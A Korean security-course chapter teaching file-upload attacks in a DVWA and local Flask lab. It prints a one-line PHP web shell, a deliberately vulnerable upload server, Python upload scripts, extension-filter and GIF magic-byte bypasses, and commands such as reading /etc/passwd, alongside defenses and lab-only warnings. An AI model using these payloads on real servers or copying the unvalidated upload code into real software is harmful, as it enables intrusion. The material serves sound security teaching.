Step 141. 파일 업로드 공격: 웹쉘 — 게시판에서 서버 장악까지
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 139~140의 쿠키·요청 지식, Step 103의
system()경고, Step 94의 Flask 서버 지식을 사용합니다.
- 준비물: DVWA(또는 워게임 랩), 파이썬 3 + Flask + requests (로컬 재현용), 텍스트 에디터
- 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
사진 게시판에 사진 대신 실행 파일을 올릴 수 있다면 어떻게 될까요? 서버는 그 파일을 디스크에 저장하고, 공격자가 그 주소에 접속하는 순간 서버 안에서 내 코드가 실행됩니다. 이 한 장의 파일이 웹쉘(web shell) — 웹으로 조종하는 서버 명령 실행기입니다. 오늘은 "업로드 → 접근 → 실행" 체인을 로컬 서버로 재현하고, 업로드 검증의 세 단계(확장자·Content-Type·파일 내용)를 하나씩 우회하는 실험을 합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 웹쉘이 무엇이고 "업로드 1개가 서버 장악"으로 이어지는 체인을 설명한다
- 한 줄짜리 PHP 웹쉘의 각 부분을 읽고 해설한다
- 확장자 필터를 이중 확장자·대소문자·유사 확장자로 우회하는 실험을 한다
- 매직 바이트 위장(GIF 헤더)으로 내용 검사를 속이는 원리를 설명한다
- 업로드 디렉토리 실행 금지가 왜 근본 방어인지 설명한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 + Flask + requests (로컬 재현), PHP는 "읽기"만, DVWA 랩 |
| 오늘의 명령 | requests.post(주소, files=...) (파일 업로드), 웹쉘 접근 ?cmd= |
| 필요한 개념 | 웹쉘, 확장자/Content-Type/매직 바이트 검증, 업로드 체인 |
| 오늘의 산출물 | 업로드 우회 실험 결과 표 + 공격 체인 정리 노트 |
2-1. 웹쉘 — 한 장의 파일이 여는 문
웹쉘은 웹 서버에 올라가서, HTTP 요청으로 받은 명령을 서버 운영체제에서 실행해 주는 스크립트입니다. 가장 작은 형태는 이 한 줄입니다.
<?php system($_GET["cmd"]); ?>
읽어 봅시다 (Step 103의 PHP 최소 문법입니다). $_GET["cmd"]는 주소의 ?cmd= 값, system()은 그것을 서버의 셸 명령으로 실행합니다. 이 파일이 서버의 /uploads/shell.php에 놓이면, http://서버/uploads/shell.php?cmd=id 접속 한 번이 서버 안의 id 실행입니다. 브라우저가 곧 터미널이 됩니다.
2-2. 공격 체인 — 세 고리
① 업로드: 실행 가능한 파일을 서버에 저장시킨다 (검증을 뚫고)
② 접근: 그 파일의 URL을 알아내 브라우저로 연다
③ 실행: 서버가 그 파일을 '실행'하면 — 웹쉘 완성
세 고리가 전부 성립해야 합니다. 뒤집어 말하면 방어는 고리 하나만 끊으면 됩니다 — 저장을 못 하게 하거나, 접근을 못 하게 하거나, 실행이 안 되게 하거나. 셋 중 마지막이 가장 튼튼합니다.
2-3. 업로드 검증의 세 단계와 각각의 우회
| 단계 | 검증하는 것 | 고전적 우회 |
|---|---|---|
| ① 확장자 | 파일명이 .php 등으로 끝나는가 |
shell.php.jpg(이중 확장자), shell.PhP(대소문자), shell.phtml |
| ② Content-Type | 요청 헤더의 파일 종류 | Burp로 image/jpeg로 변조 — 헤더는 클라이언트가 쓰는 값 |
| ③ 파일 내용 | 매직 바이트(파일 앞의 형식 표지) | GIF89a;를 코드 앞에 붙여 GIF인 척 |
공통점이 보이나요? 셋 모두 클라이언트가 보낸 값을 서버가 믿는 구조입니다. Step 103의 제1원리 — 클라이언트에 맡겨진 값은 클라이언트의 것입니다.
2-4. 근본 방어 — 업로드 디렉토리에서 실행을 끈다
아무리 검증해도 뚫릴 수 있다면, "뚫려도 무해하게" 만드는 것이 정답입니다. 웹 서버 설정에서 업로드 폴더는 스크립트 실행 금지로 지정합니다 — .php가 올라와도 그 폴더에서는 텍스트 파일로만 취급됩니다. 파일명을 서버가 새로 지어(랜덤값.jpg) 확장자 조종권도 뺏습니다. 오늘 실측에서 "파이썬 서버는 실행하지 않고 내려 준다"는 장면이 바로 이 상태입니다.
3. 따라 하기
DVWA 화면은 출력 예시로 표기하고, 원리는 로컬 Flask 서버로 실측합니다. (본 교재는 2026-09-09에 Windows + Flask 3.1.3 환경에서 실측했습니다.)
3-1. 무방비 업로드 서버 — 어떤 파일이든 받는 게시판
공격받을 쪽입니다 (vuln_upload.py).
입력
from flask import Flask, request, send_from_directory
app = Flask(__name__)
@app.route("/upload", methods=["POST"])
def upload():
f = request.files["file"]
f.save(f"/tmp/uploads/{f.filename}") # 취약점: 어떤 파일이든 그대로 저장
return f"업로드 완료: /uploads/{f.filename}"
@app.route("/uploads/<name>")
def serve(name):
return send_from_directory("/tmp/uploads", name)
app.run(port=8330)
읽는 법: 파일명도, 확장자도, 내용도 안 봅니다. 심지어 업로드된 파일을 웹 주소로 그대로 다시 내주는 /uploads/ 경로까지 있습니다 — 공격자에게 필요한 ①저장과 ②접근을 서버가 스스로 제공합니다.
3-2. 웹쉘 업로드와 접근 — 체인의 두 고리
입력
import requests, io
SHELL = b'<?php system($_GET["cmd"]); ?>'
# ① 업로드
r = requests.post("http://127.0.0.1:8330/upload",
files={"file": ("shell.php", io.BytesIO(SHELL), "application/x-php")})
print(r.status_code, r.text)
# ② 접근 — 업로드된 파일을 열어 본다
r = requests.get("http://127.0.0.1:8330/uploads/shell.php")
print("상태:", r.status_code, "| Content-Type:", r.headers.get("Content-Type"))
print("응답 본문:", r.text)
출력 (2026-09-09 실측):
200 업로드 완료: /uploads/shell.php
상태: 200 | Content-Type: application/octet-stream
응답 본문: <?php system($_GET["cmd"]); ?>
읽는 법: 여기서 멈춰서 정확히 봐야 합니다. 파일은 올라갔고, 주소로 열리는데 — 실행되지 않고 내용이 통째로 내려왔습니다. 우리의 파이썬 서버는 .php를 프로그램이 아니라 그냥 파일(application/octet-stream)로 취급하니까요. 이것이 2-4의 방어 상태입니다. 이 서버가 Apache+PHP였다면, 같은 요청은 파일 내용 대신 system()의 실행 결과를 돌려줬을 것입니다. 체인의 ③번 고리는 "서버가 그 확장자를 실행하도록 설정됐는가"에 달려 있습니다.
왜 하는가: "업로드됐는데 왜 안 터지지?"는 실전에서 가장 많이 만나는 질문입니다. 답은 거의 항상 같습니다 — 저장과 접근은 성공했는데 실행이 안 되는 환경. DVWA가 학습에 좋은 이유는 이 세 고리가 의도적으로 열려 있기 때문입니다.
3-3. DVWA에서의 완성 — 세 번째 고리
DVWA File Upload (Low)에서는 세 고리가 열려 있습니다 (화면·결과는 출력 예시):
- 메모장에
<?php system($_GET["cmd"]); ?>를shell.php로 저장합니다. - 업로드 폼에 그대로 올리면
../../hackable/uploads/shell.php succesfully uploaded!같은 성공 메시지가 뜹니다 — 경로를 알려 줍니다. 이 메시지가 ②번 고리입니다. - 주소창에
http://DVWA주소/hackable/uploads/shell.php?cmd=id를 칩니다. - 페이지에
uid=33(www-data) gid=33(www-data) ...이 출력되면 웹쉘 완성입니다.
읽는 법: www-data는 웹 서버 프로세스의 계정입니다. 얻은 명령 실행 권한 = 웹 서버의 실행 계정 — Step 120의 법칙 그대로입니다. 이제 cmd=ls -la, cmd=cat /etc/passwd로 서버를 탐색할 수 있습니다.
3-4. 확장자 필터 우회 — 실측
이제 방어가 있는 서버를 띄웁니다. 파일명이 .php로 끝나면 거부하는 필터입니다 (DVWA Medium 수준).
입력
import requests, io
SHELL = b'<?php system($_GET["cmd"]); ?>'
tests = [
("shell.php", "정석 .php"),
("shell.php.jpg", "이중 확장자"),
("shell.PhP", "대소문자 변형"),
("shell.phtml", "PHP 계열 다른 확장자"),
]
for name, desc in tests:
r = requests.post("http://127.0.0.1:8331/upload",
files={"file": (name, io.BytesIO(SHELL), "image/jpeg")})
verdict = "통과" if r.status_code == 200 else "차단"
print(f" {name:14} ({desc}) -> {r.status_code} [{verdict}] {r.text if r.status_code != 200 else ''}")
출력 (2026-09-09 실측):
shell.php (정석 .php) -> 403 [차단] 오류: PHP 파일은 업로드할 수 없습니다
shell.php.jpg (이중 확장자) -> 200 [통과]
shell.PhP (대소문자 변형) -> 200 [통과]
shell.phtml (PHP 계열 다른 확장자) -> 200 [통과]
읽는 법: 정석만 막히고 셋이 통과했습니다. 필터가 endswith(".php")로 소문자 끝글자만 비교했기 때문입니다. shell.php.jpg는 이중 확장자 — 일부 웹 서버 설정은 이런 파일을 PHP로 실행하는 함정이 있습니다. .phtml은 PHP가 실행하는 또 다른 확장자입니다. Step 139의 필터 우회와 완전히 같은 패턴입니다 — 막을 것을 열거하는 방어는 열거 밖에서 집니다. 참고로 Content-Type은 제가 요청에서 image/jpeg라고 적어 보냈습니다 — 서버가 그 헤더를 믿는다면 그것도 그냥 통과입니다.
3-5. 매직 바이트 위장 — 파일의 첫인상 속이기
파일 내용을 검사하는 단계까지 온 서버를 만나면, 파일 맨 앞의 형식 표지(매직 바이트)를 위장합니다.
입력
import requests, io
# GIF 파일의 매직 바이트 'GIF89a;' 뒤에 PHP 코드를 이어 붙인다
disguised = b"GIF89a;\n<?php system($_GET[\"cmd\"]); ?>"
r = requests.post("http://127.0.0.1:8330/upload",
files={"file": ("pic.php", io.BytesIO(disguised), "image/gif")})
print(r.status_code, r.text)
출력 (2026-09-09 실측):
200 업로드 완료: /uploads/pic.php
저장된 파일의 첫 7바이트를 읽어 보면 b'GIF89a;'입니다 (2026-09-09 실측). "앞부분이 GIF인지"만 보는 검사는 이 파일을 이미지로 분류합니다. 그런데 PHP로 실행되면 GIF89a;는 그냥 출력되는 문자열일 뿐이고, 그 뒤의 <?php ... ?>는 정상적으로 실행됩니다 — 한 파일이 검사관에게는 GIF, 실행기에게는 프로그램입니다.
주의: 이 기법들을 연습하는 곳은 내 랩뿐입니다. 실제 서비스의 업로드 폼에 웹쉘을 올리는 것은 그 자체로 침입 행위입니다.
4. 미션과 연습문제
미션 — 업로드 공격 체인과 우회 표
- 3-1~3-2의 로컬 실험을 재현하고, "파일이 실행되지 않고 다운로드되는" 출력을 write-up에 붙인다
- DVWA(또는 랩) File Upload Low에서 웹쉘 업로드 →
?cmd=id실행까지 성공시킨다 - 3-4의 필터 우회 실험을 재현하고, 4개 파일명의 통과/차단을 "왜"와 함께 표로 정리한다
- Medium 난이도에서 통과한 우회 기법과 그래도 안 될 때의 다음 수단(Content-Type 변조)을 기록한다
- 공격 체인 ①②③을 끊는 방어를 고리별로 하나씩 적는다
연습문제
문제 1. <?php system($_GET["cmd"]); ?>의 각 부분($_GET["cmd"], system)이 하는 일을 설명해 보세요.
문제 2. 3-2 실측에서 업로드된 shell.php가 실행되지 않고 내용이 내려온 이유는 무엇이며, 이것이 방어 관점에서 무엇을 보여 주나요?
문제 3. Content-Type 검사가 근본적으로 약한 이유를 "클라이언트의 값" 원리로 설명해 보세요.
문제 4. GIF89a; 위장이 먹히려면 검사와 실행이 각각 파일을 어떻게 봐야 하나요?
5. 모범 답안과 완료 기준
미션 모범 답안
우회 표 예시 (2026-09-09 로컬 실측 기준):
| 파일명 | 결과 | 이유 |
|---|---|---|
shell.php |
403 차단 | 필터가 .php 끝글자를 정확히 거부 |
shell.php.jpg |
200 통과 | 끝글자가 .jpg라 필터 무사 통과 |
shell.PhP |
200 통과 | 필터가 대소문자를 구분함 |
shell.phtml |
200 통과 | PHP 계열 확장자인데 목록에 없음 |
방어 표 예시:
| 고리 | 방어 |
|---|---|
| ① 저장 | 허용 확장자만 열거(화이트리스트) + 내용 검사 + 파일명을 서버가 재생성 |
| ② 접근 | 업로드 경로를 웹 루트 밖에 두거나, 직접 URL 접근 금지 |
| ③ 실행 | 업로드 디렉토리 스크립트 실행 금지 — 가장 튼튼한 고리 절단 |
검증하는 법: ① 로컬에서 "Content-Type: application/octet-stream"으로 내려오는 출력을 봤는가. ② 랩에서 cmd=id의 출력이 웹 서버 계정(www-data 류)인가. ③ 우회 표의 "이유" 칸이 실제 필터 동작과 일치하는가.
연습문제 해답
문제 1 해답. $_GET["cmd"]는 URL의 ?cmd=값에서 온 사용자 입력이고, system()은 그 문자열을 서버의 운영체제 명령으로 실행해 출력까지 돌려주는 함수입니다. 둘이 붙는 순간 "브라우저 주소창 = 서버 터미널"이 됩니다.
문제 2 해답. 우리의 Flask 서버는 .php를 프로그램으로 실행하지 않고 일반 파일로 내려 주기 때문입니다 (application/octet-stream). 방어 관점에서 이것은 "업로드 디렉토리에서 실행 금지"가 켜진 상태와 같습니다 — 공격 체인의 ③번 고리가 끊어져, 파일이 올라와도 웹쉘이 되지 못합니다.
문제 3 해답. Content-Type 헤더는 요청을 보내는 쪽 — 클라이언트 — 이 직접 쓰는 값이라, 공격자가 image/jpeg라고 적어내면 그만입니다 (3-4 실측에서 우리가 그렇게 했습니다). 서버가 믿을 수 있는 것은 자기가 직접 검사한 파일 내용뿐입니다.
문제 4 해답. 검사는 파일의 앞부분 몇 바이트만 보고 형식을 판정해야 하고, 실행기(PHP)는 <?php ?> 구간을 파일 어디에 있든 찾아 실행해야 합니다. 이 어긋남 — 검사는 앞만 보고 실행은 전체를 본다 — 이 위장의 공간입니다.
완료 기준 체크리스트
- [ ] 한 줄짜리 PHP 웹쉘을 읽고 각 부분을 설명할 수 있다
- [ ] 업로드 → 접근 → 실행의 세 고리를 말할 수 있다
- [ ] 로컬 서버에서 "실행되지 않고 다운로드됨" 상태를 관찰했다
- [ ] 확장자 우회 3종(이중 확장자·대소문자·유사 확장자)을 실험으로 확인했다
- [ ] 매직 바이트 위장의 원리(검사는 앞만, 실행은 전체)를 설명할 수 있다
- [ ] Content-Type이 클라이언트의 값임을 시연할 수 있다
- [ ] 이 실습이 내 랩 전용임을 다시 확인했다
6. 흔한 실수와 해결
벽 1. 업로드는 됐는데 접속하면 404
증상: 성공 메시지를 봤는데 파일 주소가 없습니다.
원인: 실제 저장 경로를 모릅니다. 서버가 알려 주지 않으면 추정해야 합니다.
해결: 정상 이미지를 하나 올리고 그 이미지의 URL(이미지 우클릭 → 주소 복사)을 보세요. 웹쉘도 대개 같은 폴더입니다. DVWA라면 성공 메시지에 경로가 적혀 있습니다.
벽 2. 업로드된 파일이 실행되지 않고 다운로드된다
증상 (2026-09-09 실측): 접속하니 코드가 텍스트로 내려옵니다.
상태: 200 | Content-Type: application/octet-stream
응답 본문: <?php system($_GET["cmd"]); ?>
원인: 서버가 그 확장자를 그 디렉토리에서 실행하지 않습니다 — ③번 고리가 끊긴 상태입니다.
해결: 공격자라면 실행되는 확장자·경로를 찾아야 합니다(그게 랩의 과제). 방어자라면 — 이것이 정답 상태입니다. 업로드 폴더의 실행을 끄세요.
벽 3. .php.jpg로 올렸는데도 실행이 안 된다
증상: 이중 확장자가 통과했는데 이미지처럼 취급됩니다.
원인: 이중 확장자 우회는 "마지막이 아닌 확장자도 해석하는" 특정 서버 설정(구형 Apache의 MultiViews 등)에서만 동작합니다.
해결: 우회법은 서버 설정에 따라 달라집니다. 통과했더라도 실행 여부는 별개로 확인하세요 — "올라감"과 "실행됨"은 다른 문제입니다.
벽 4. 업로드 크기 제한에 걸린다
증상: 파일이 크다고 거부됩니다.
원인: 폼의 MAX_FILE_SIZE나 서버 설정.
해결: 웹쉘 한 줄은 수십 바이트입니다 — 원래 작은 파일이 정상입니다. 폼의 숨은 크기 제한은 개발자 도구로 지울 수 있습니다 (역시 클라이언트의 값).
벽 5. 실험하던 웹쉘 파일을 지우는 것을 잊었다
증상: 랩 서버의 uploads에 내 웹쉘이 남아 있습니다.
원인: 정리 누락.
해결: 실습 마지막에 업로드한 파일을 삭제하거나 DVWA를 리셋하세요. 웹쉘은 문을 열어 두는 물건입니다 — 열어 둔 채 자리를 뜨면 랩이라도 다음 사람(혹은 같은 네트워크의 누군가)이 그 문으로 들어옵니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 웹쉘 | HTTP 요청의 파라미터를 서버 명령으로 실행해 주는 업로드된 스크립트 |
| 공격 체인 | ① 저장 → ② 접근 → ③ 실행 — 하나라도 끊기면 실패 |
| 이중 확장자 | shell.php.jpg — 필터의 끝글자 검사를 통과 |
| 매직 바이트 | 파일 앞의 형식 표지 — GIF89a; 위장의 표적 |
| Content-Type 변조 | 헤더는 클라이언트가 쓰는 값 — 믿으면 안 됨 |
| 실행 금지 디렉토리 | 업로드 폴더에서 스크립트 실행을 끄는 근본 방어 |
오늘의 명령어와 코드
| 명령·코드 | 하는 일 |
|---|---|
<?php system($_GET["cmd"]); ?> |
한 줄짜리 웹쉘 |
requests.post(주소, files={"file": (이름, 내용, 타입)}) |
파이썬으로 파일 업로드 |
shell.php?cmd=id |
웹쉘의 첫 시험 — 실행 계정 확인 |
GIF89a; + 코드 |
내용 검사 위장 |
f.save(경로 + f.filename) |
검증 없는 업로드의 취약한 한 줄 |
명령어보다 중요한 감각
오늘의 핵심 문장은 "업로드는 서버에 내 파일을 심는 행위이고, 그 파일이 실행 가능하면 서버는 내 것이 된다"입니다. 파일 업로드 기능은 보이는 것과 달리 서버의 디스크와 실행 권한에 닿는 깊은 기능입니다. 그래서 실무 체크리스트의 첫 줄은 항상 같습니다 — 정말 이 기능이 필요한가, 필요하다면 실행 가능한 것이 올라올 수 있는가.
그리고 오늘 본 모든 우회는 결국 하나입니다 — 서버가 클라이언트의 말(파일명, 헤더, 첫 바이트)을 믿은 곳마다 구멍이 났습니다. 방어 설계의 기준도 그래서 하나로 모입니다: 믿지 말고, 허용할 것만 열거하고, 뚫려도 실행되지 않게 하라.
전부 체크되면 Step 141 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.